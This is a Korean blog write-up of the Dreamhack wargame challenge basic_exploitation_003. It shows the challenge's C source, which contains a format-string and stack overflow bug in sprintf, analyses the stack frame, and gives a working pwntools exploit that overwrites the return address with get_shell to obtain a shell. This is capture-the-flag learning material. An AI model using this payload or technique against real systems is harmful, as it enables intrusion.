문제: https://dreamhack.io/wargame/challenges/5
basic_exploitation_003
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
📍 소스코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
짧다!
1. 최대 0x80=128바이트만큼 사용자 입력을 받아 heap_buf에 저장한다.
2. heap_buf의 내용을 stack_buf에 저장한다.
3. stack_buf의 내용을 출력한다.
read 함수는 null 바이트를 만날 때까지 입력을 받고, printf 함수의 %s 형식지정자는 null 바이트를 만날 때까지 출력한다.
셸을 실행하는 함수가 있으니까 main의 리턴 주소를 overwrite하면 되는 것 같다.

리턴 주소에 get_shell()의 주소인 0x8048669를 overwrite해야 한다.
🫧 스택 프레임

동적 할당을 받는 heap_buf의 주소는 [ebp-0x8]이다.

stack_buf의 주소는 [ebp-0x98]이다.
즉 주소는 다음과 같다:
| stack_buf[ebp-0x98] | heap_buf[ebp-0x8] | return address[ebp+0x4] |
stack_buf에서 리턴 주소까지 도달하려면 0x98 + 0x4 = 156바이트가 필요하다.
즉 heap_buf에 156바이트의 쓰레기값과 get_shell()의 주소값을 넣어주면 될 것 같다.
간단하게 익스플로잇 코드를 작성해 보자.
from pwn import *
p = remote('host3.dreamhack.games', 14495)
get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()

🚩
🧙♂️
처음에는 리턴 주소를 ebp+0x8이라고 생각했는데
ebp+0x4였다.
32비트 아키텍처라서 그런 듯?
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] basic_heap_overflow (0) | 2025.03.25 |
|---|---|
| [드림핵] cmd_center (0) | 2025.03.23 |
| [드림핵] memory_leakage (0) | 2025.03.16 |
| [드림핵] cpp_string (0) | 2025.03.15 |
| [드림핵] Cherry (0) | 2025.03.14 |